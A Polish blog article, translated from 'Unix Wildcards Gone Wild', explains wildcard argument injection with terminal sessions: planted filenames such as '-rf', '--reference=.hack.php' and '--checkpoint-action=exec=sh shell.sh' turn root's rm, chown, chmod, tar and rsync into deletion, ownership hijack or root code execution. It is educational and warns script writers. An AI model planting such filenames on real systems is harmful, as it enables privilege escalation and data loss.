Powrót do przyszłości: *niksowe wieloznaczniki oszalały
Napisał: Patryk Krawaczyński
12/10/2016 w Bezpieczeństwo, Pen Test Brak komentarzy. (artykuł nr 558, ilość słów: 2276)
P
o pierwsze ten artykuł nie ma nic wspólnego z współczesnymi technikami hackingu jak obejście ASLR, eksploracją ROP, zdalnym 0day lub łańcuchem 14 różnych błędów, aby złamać Chrome. Nic z tych rzeczy. Omówimy jednak jedną technikę hackingu starej szkoły Uniksa, która działa nawet w dzisiejszych czasach. Technikę, o której (ku mojemu zdziwieniu) wiele osób związanych z bezpieczeństwem nigdy nie słyszało. Prawdopodobnie dlatego, że nikt wcześniej tak naprawdę o niej nie mówił. Dlatego postanowiłem opisać ten temat bo jest on dla mnie osobiście całkiem zabawny, aby przekonać się, co można zrobić za pomocą prostych sztuczek zatrucia wildcardów w Uniksie. Więc w dalszej części możnemy spodziewać się zbioru schludnych hacków na ten temat. Jeśli zastanawiasz się, jak podstawowe narzędzia Uniksa, jak “tar” lub “chown” mogą doprowadzić do kompromitacji systemu – czytaj dalej.
Jeśli już wiesz do czego służą symbole wieloznaczne w Uniksie i dlaczego są stosowane w skryptach powłoki, możesz pominąć tę część. Wildcard jest znakiem lub zestawem znaków, które mogą zostać użyte w zastępstwie zakresu lub klasy znaków pisarskich. Wildcardy są interpretowane przez powłokę zanim zostanie podjęta jakakolwiek inna akcja.
Niektóre symbole wieloznaczne powłoki:
* – gwiazdka dopasowuje dowolną liczbę znaków w nazwie pliku, wliczając w to możliwość brak wystąpienia znaku,
? – znak zapytania oznacza dowolny, pojedynczy znak.
Przykład wykorzystania wieloznaczników:
# ls *.php
– Pokaż wszystkie pliki z rozszerzeniem PHP.
# rm *.gz
– Usuń wszystkie pliki GZIP.
# cat backup*
– Pokaż zawartość wszystkich plików, których nazwa zaczyna się od frazy “backup”.
# ls test?
– Pokaż wszystkie pliki, których nazwa zaczyna się od frazy “test” i posiada dokładnie jeden dodatkowy znak.
“Wild”cardy, jak ich nazwa wskazuje są “dzikie” w swojej naturze, ale co więcej w niektórych przypadkach wręcz szalone. Prosty trik stojący za tą techniką jest taki: podczas używania symboli wieloznacznych szczególnie gwiazdki (*), powłoka interpretuje pliki zaczynające się od znaku myślnika (-) jako argument polecenia, które zostało wykonane. To pozostawia przestrzeń dla wariacji różnego rodzaju klasycznych ataków kanału. Ataki te pojawiają się kiedy różnego rodzaju kanały informacji są łączone w jeden wspólny. Poniżej znajduje się kilka przykładów tego ataku, gdzie wykonywane jest łączenie argumentów i nazw plików jako różnych kanałów połączonych za pomocą symbolu wieloznacznego powłoki. Pierwszy, bardzo prosty przykład wstrzyknięcia argumentu do polecenia:
root@darkstar:~/test1# ls -al total 20 drwxrwxrwx 5 root root 4096 Oct 12 18:14 . drwx------ 7 root root 4096 Oct 12 18:12 .. -rw-r--r-- 1 darkstar darkstar 0 Oct 12 18:14 -rf drwxr-xr-x 2 root root 4096 Oct 12 18:12 test1 -rw-r--r-- 1 root root 0 Oct 12 18:12 test1.txt drwxr-xr-x 2 root root 4096 Oct 12 18:12 test2 -rw-r--r-- 1 root root 0 Oct 12 18:12 test2.txt drwxr-xr-x 2 root root 4096 Oct 12 18:12 test3 -rw-r--r-- 1 root root 0 Oct 12 18:13 test3.txt
Posiadamy katalog test1 zawierający w sobie kilka podkatalogów oraz plików. Istnieje również plik o nazwie “-rf
” (touch ./-rf), którego właścicielem jest użytkownik darkstar. Wydajmy teraz polecenie kasujące wszystkie obiekty w tym katalogu i sprawdźmy ponownie jego zawartość:
root@darkstar:~/test1# rm * root@darkstar:~/test1# ls -al total 8 drwxrwxrwx 2 root root 4096 Oct 12 18:16 . drwx------ 7 root root 4096 Oct 12 18:12 .. -rw-r--r-- 1 darkstar darkstar 0 Oct 12 18:14 -rf
Katalog jest prawie pusty, oprócz pliku o nazwie -rf
. Wszystkie pliki i katalogi zostały skasowane, ale dlaczego nie ten? Kiedy uruchomiliśmy polecenie rm z argumentem *, wszystkie pliki i katalogi w aktualnej ścieżce dostępu zostały przekazane jako argumenty do polecenia rm – identycznie jak poniżej:
root@darkstar:~/test1# rm test1 test2 test3 test1.txt test2.txt test3.txt -rf
Skoro -rf
jest realnym argumentem polecenia rm (--help
) wszystkie pliki i katalogi zostały usunięte rekursywnie w trybie force. Możemy to sprawdzić za pomocą narzędzia strace:
root@darkstar:~/test1# strace rm * execve("/bin/rm", ["rm", "-rf", "test1", "test1.txt", "test2", "test2.txt", "test3", \ "test3.txt"], [/* 15 vars */]) = 0 brk(NULL) = 0x2493000
Wiemy już, jak wstrzyknąć dodatkowe argumenty do programów uruchamianych z poziomu powłoki. Poniżej omówimy kilka przykładów, jak możemy nadużyć tej funkcji, aby uzyskać o wiele więcej niż tylko usuwanie plików. W wszystkich przypadkach atakujący chowa się za kontem o nazwie “darkstar“, a ofiarą oczywiście jest “root“:
1) Uprowadzenie właściciela (file owner hijacking):
Załóżmy, że w katalogu (który jest publicznie dostępny do zapisu) znajduje się kilka plików PHP, a administrator chce zmienić ich właściciela na użytkownika “www-data”, aby serwer Apache mógł nimi operować:
root@darkstar:~/test1# ls -al total 8 drwxrwxrwx 2 root root 4096 Oct 12 19:18 . drwx------ 7 root root 4096 Oct 12 18:12 .. -rw-r--r-- 1 root root 0 Oct 12 19:18 admin.php -rw-r--r-- 1 root root 0 Oct 12 19:18 config.php -rw-r--r-- 1 root root 0 Oct 12 19:18 db.php -rw-r--r-- 1 darkstar darkstar 0 Oct 12 19:18 .hack.php -rw-r--r-- 1 root root 0 Oct 12 19:18 index.php -rw-r--r-- 1 darkstar darkstar 0 Oct 12 19:18 --reference=.hack.php
Administrator wydaje polecenie, a my sprawdzamy, co rzeczywiście zmieniło się w katalogu:
root@darkstar:~/test1# chown -R www-data:www-data *.php root@darkstar:~/test1# ls -la total 8 drwxrwxrwx 2 root root 4096 Oct 12 19:18 . drwx------ 7 root root 4096 Oct 12 18:12 .. -rw-r--r-- 1 darkstar darkstar 0 Oct 12 19:18 admin.php -rw-r--r-- 1 darkstar darkstar 0 Oct 12 19:18 config.php -rw-r--r-- 1 darkstar darkstar 0 Oct 12 19:18 db.php -rw-r--r-- 1 darkstar darkstar 0 Oct 12 19:18 .hack.php -rw-r--r-- 1 darkstar darkstar 0 Oct 12 19:18 index.php -rw-r--r-- 1 darkstar darkstar 0 Oct 12 19:18 --reference=.hack.php
Dlaczego nagle wszystkie pliki zostały przypisane do użytkownika “darkstar”? Ponieważ polecenie chown zostało rzeczywiście wykonane z argumentem --reference
odnoszącym się do właściciela pliku .hack.php
, czyli “darkstar”. W ten prosty sposób możemy “zmusić” administratora systemu do przypisania do nas pliku, które wcześniej nie były dla nas osiągalne.
2) Uprowadzenie praw dostępu (file permissions hijacking):
Analogicznie do polecenia chown możemy spowodować, że wszystkie pliki i katalogi nagle będą posiadały najszersze prawa dostępu, jakie przewiduje system mimo tego, że użytkownik root chciał zupełnie odciąć od nich dostęp:
root@darkstar:~/test1# ls -la total 8 drwxrwxrwx 2 root root 4096 Oct 12 19:18 . drwx------ 7 root root 4096 Oct 12 18:12 .. -rw-r--r-- 1 root root 0 Oct 12 19:18 admin.php -rw-r--r-- 1 root root 0 Oct 12 19:18 config.php -rw-r--r-- 1 root root 0 Oct 12 19:18 db.php -rwxrwxrwx 1 darkstar darkstar 0 Oct 12 19:18 .hack.php -rw-r--r-- 1 root root 0 Oct 12 19:18 index.php -rw-r--r-- 1 darkstar darkstar 0 Oct 12 19:18 --reference=.hack.php root@darkstar:~/test1# chmod 000 * root@darkstar:~/test1# ls -al total 8 drwxrwxrwx 2 root root 4096 Oct 12 19:18 . drwx------ 7 root root 4096 Oct 12 18:12 .. -rwxrwxrwx 1 root root 0 Oct 12 19:18 admin.php -rwxrwxrwx 1 root root 0 Oct 12 19:18 config.php -rwxrwxrwx 1 root root 0 Oct 12 19:18 db.php -rwxrwxrwx 1 darkstar darkstar 0 Oct 12 19:18 .hack.php -rwxrwxrwx 1 root root 0 Oct 12 19:18 index.php -rw-r--r-- 1 darkstar darkstar 0 Oct 12 19:18 --reference=.hack.php
Wszystkie pliki w bieżącym katalogu zamiast posiadać odebrane wszystkie prawa dostępu posiadają przyznane wszystkie możliwe, co powoduje że każdy użytkownik w systemie jest w stanie poddać je odczytowi, edycji lub usunięciu.
3) Wykonanie dodatkowych poleceń przez program tar (arbitrary command execution):
Przejdźmy teraz do trochę bardziej interesujących rzeczy, jak wykonanie dodatkowych poleceń, które mogą spowodować realne przejęcie całego systemu operacyjnego przez zwykłego użytkownika. Do tego użyjemy najbardziej znany program używany do archiwizacji w systemach *nix – tar. Jeśli przejrzymy stronę manualną tego programu zauważymy interesujący argument: --checkpoint-action
, który umożliwi nam wykonanie dowolnego, podstawionego skryptu wraz z przebiegiem procesu archiwizacji:
root@darkstar:~/test1# ls -al total 12 drwxrwxrwx 2 root root 4096 Oct 12 20:42 . drwx------ 8 root root 4096 Oct 12 20:40 .. -rw-r--r-- 1 root root 0 Oct 12 19:18 admin.php -rw-r--r-- 1 darkstar darkstar 0 Oct 12 20:40 --checkpoint=1 -rw-r--r-- 1 darkstar darkstar 0 Oct 12 20:42 --checkpoint-action=exec=sh shell.sh -rw-r--r-- 1 root root 0 Oct 12 19:18 config.php -rw-r--r-- 1 root root 0 Oct 12 19:18 db.php -rw-r--r-- 1 root root 0 Oct 12 19:18 index.php -rwxr-xr-x 1 darkstar darkstar 13 Oct 12 20:40 shell.sh root@darkstar:~/test1# cat shell.sh /usr/bin/id root@darkstar:~/test1# tar cf archiwum.tar * uid=0(root) gid=0(root) groups=0(root) root@darkstar:~/test1# ls -al total 24 drwxrwxrwx 2 root root 4096 Oct 12 20:46 . drwx------ 8 root root 4096 Oct 12 20:44 .. -rw-r--r-- 1 root root 0 Oct 12 19:18 admin.php -rw-r--r-- 1 root root 10240 Oct 12 20:46 archiwum.tar -rw-r--r-- 1 darkstar darkstar 0 Oct 12 20:40 --checkpoint=1 -rw-r--r-- 1 darkstar darkstar 0 Oct 12 20:42 --checkpoint-action=exec=sh shell.sh -rw-r--r-- 1 root root 0 Oct 12 19:18 config.php -rw-r--r-- 1 root root 0 Oct 12 19:18 db.php -rw-r--r-- 1 root root 0 Oct 12 19:18 index.php -rwxr-xr-x 1 darkstar darkstar 13 Oct 12 20:40 shell.sh
Mimo, że skrypt shell.sh nie posiadał atrybutu SUID został wykonany z prawami administratora. Gdyby w tym skrypcie było zaszyte dodanie nowego użytkownika z prawami administratora; dodanie uprawnień sudo; instalacja backdoor itd. – kompromitację systemu została właśnie zakończona sukcesem.
4) Wykonanie dodatkowych poleceń przez program rsync:
Sytuacja identyczna, jak dla programu tar tylko z tą różnicą, że zatrujemy program do synchronizacji danych rsync – dodatkowo ukrywając szkodliwy skrypt pod rozszerzeniem źródeł programu napisanego w języku C:
root@darkstar:~/test1# ls -al total 12 drwxr-xr-x 2 root root 4096 Oct 12 21:10 . drwx------ 8 root root 4096 Oct 12 21:12 .. -rw-r--r-- 1 root root 0 Oct 12 19:18 admin.c -rw-r--r-- 1 root root 0 Oct 12 19:18 config.c -rw-r--r-- 1 root root 0 Oct 12 19:18 db.c -rw-r--r-- 1 darkstar darkstar 0 Oct 12 21:08 -e sh shell.c -rw-r--r-- 1 root root 0 Oct 12 19:18 index.c -rwxr-xr-x 1 darkstar darkstar 32 Oct 12 21:10 shell.c root@darkstar:~/test1# cat shell.c #!/bin/sh /usr/bin/id > /tmp/id root@darkstar:~/test1# rsync -t *.c foo:src/ rsync: connection unexpectedly closed (0 bytes received so far) [sender] rsync error: error in rsync protocol data stream (code 12) at io.c(226) [sender=3.1.1] root@darkstar:~/test1# cat /tmp/id uid=0(root) gid=0(root) groups=0(root)
Omówiona technika może znaleźć zastosowanie w wielu różnych formach na wielu różnych narzędziach spotykanych w systemach *nix. Nie zawsze administrator systemu jest w stanie dostrzec niebezpieczeństwo wśród zwykłych plików (szczególnie, gdy nie zagląda nawet do katalogu lub listuje ich tysiące i filtruje tylko kilka na ekran). Ponadto nie musimy czekać aż administrator przyjdzie do wodopoju. Często systemy są przepełnione od różnego rodzaju skryptów uruchamianych w zadaniach cron – wystarczy zrewidować ich programy i katalogi robocze oraz spróbować znaleźć argument, który można wykorzystać przeciwko nim. Pamiętajmy o tym pisząc skrypty dla powłoki, szczególnie te, które wykorzystują spadające gwiazdy.
Artykuł ten jest wolnym tłumaczeniem fragmentów pracy pt. “Back To The Future: Unix Wildcards Gone Wild” z własną interpretacją oraz przykładami wykonanymi na systemie Ubuntu 16.04 LTS.
Więcej informacji: Back To The Future: Unix Wildcards Gone Wild, wildpwn v0.1 (unix wildcard attacks), Pakiety Tomcat podatne na lokalne podniesienie uprawień w Debianowych dystrybucjach, MySQL – Zdalne wykonanie kodu oraz eskalacja uprawnień, How to Manipulate Filenames Having Spaces and Special Characters in Linux
- Varnish – wiele przestrzeni do przechowywania danych
- Apache – kompresja brotli z awaryjnym powrotem do deflate
- Możliwe zdalne wykonanie kodu w OpenSSH – CVE-2024-6387 aka regreSSHion
- Powrót luk bezpieczeństwa w SCP po 36 latach
- Powrót Czarodzieja – czyli serwer pocztowy Exim narażony na lokalne i zdalne ataki